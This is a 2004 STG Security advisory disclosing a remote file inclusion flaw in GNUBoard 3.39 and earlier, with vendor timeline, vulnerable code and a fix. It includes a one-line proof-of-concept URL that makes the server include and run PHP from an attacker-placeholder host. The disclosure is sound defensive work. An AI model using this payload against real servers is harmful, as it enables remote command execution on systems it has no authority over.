STG Security Advisory 2004-12-14.14

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
STG Security Advisory: [SSA-20041214-14] GNUBoard PHP injection  
vulnerability.  
  
Revision 1.0  
Date Published: 2004-12-14 (KST)  
Last Update: 2004-12-14  
Disclosed by SSR Team ([email protected])  
  
Summary  
========  
GNUBoard is one of widely used web BBS applications in Korea. Because of an  
input validation flaw, a malicious attack can run arbitrary commands with  
the privilege of the HTTPD process, which is typically run as the nobody  
user.  
  
Vulnerability Class  
===================  
Implementation Error: Input validation flaw  
  
Impact  
======  
High : arbitrary command execution.  
  
Affected Products  
================  
GNUBoard 3.39 and prior versions  
php.ini : register_globals = On  
  
Vendor Status: FIXED  
====================  
2004-12-06 Vulnerability found.  
2004-12-06 GNUBoard developer notified.  
2004-12-06 GNUBoard 3.40 is released.  
2004-12-14 Official release.  
  
Details  
=======  
For improper verification of input value of the parameter, the "doc"  
parameter in "index.php" can be exploited to include arbitrary files of  
external or local resources to execute arbitary commands.  
  
index.php  
- - ----  
if (!$doc) { (1) <-- check point  
$doc = './main.php';  
}  
  
// php ??? ??? ??? ? ??  
$tmp = explode(".", $doc);  
$extension = $tmp[count($tmp)-1];  
if (!preg_match("/^(php[3]?|[p]?htm[l]?)$/i", $extension) || count($tmp)<=1)  
{  
echo "php php3 htm html phtml ??? ??? ? ????.";  
exit;  
}  
......  
ob_start();  
include $doc; (2) <-- include point  
- - ----  
  
Proof of concept :  
http://[victim]/gnu3/index.php?doc=http://[attacker]/[attack].php  
  
Solution  
=========  
Update to 3.40  
http://sir.co.kr/?doc=bbs/gnuboard.php&bo_table=pds&page=1&wr_id=1871  
  
Vendor URL  
==========  
http://www.sir.co.kr/  
  
Credits  
======  
Jeremy Bae at STG Security  
  
-----BEGIN PGP SIGNATURE-----  
Version: PGP 8.0  
  
iQA/AwUBQcAR6j9dVHd/hpsuEQJapACg1dVMXa7JIQE106S6zHRa/CoXM1YAoKwz  
Eay4eAl41ONg1Db1HI4ZRdqY  
=7l/U  
-----END PGP SIGNATURE-----  
  
`